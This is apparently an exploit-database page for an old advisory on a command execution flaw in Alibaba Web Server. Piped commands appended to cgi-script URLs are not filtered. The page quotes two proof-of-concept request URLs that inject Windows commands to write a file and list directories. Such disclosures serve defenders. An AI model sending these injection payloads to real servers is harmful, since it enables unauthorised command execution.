header-logo
Suggest Exploit
vendor:
Alibaba Web Server
by:
7.5
CVSS
HIGH
Command Execution
78
CWE
Product Name: Alibaba Web Server
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Alibaba Web Server Command Execution Vulnerability

Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine.

Mitigation:

Apply vendor patches or use an alternative web server.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1485/info

Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine. 

http://victim/cgi-bin/post32.exe|echo%20>c:\text.txt
http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir]

Navigation

Suggest Exploit

Services By CQR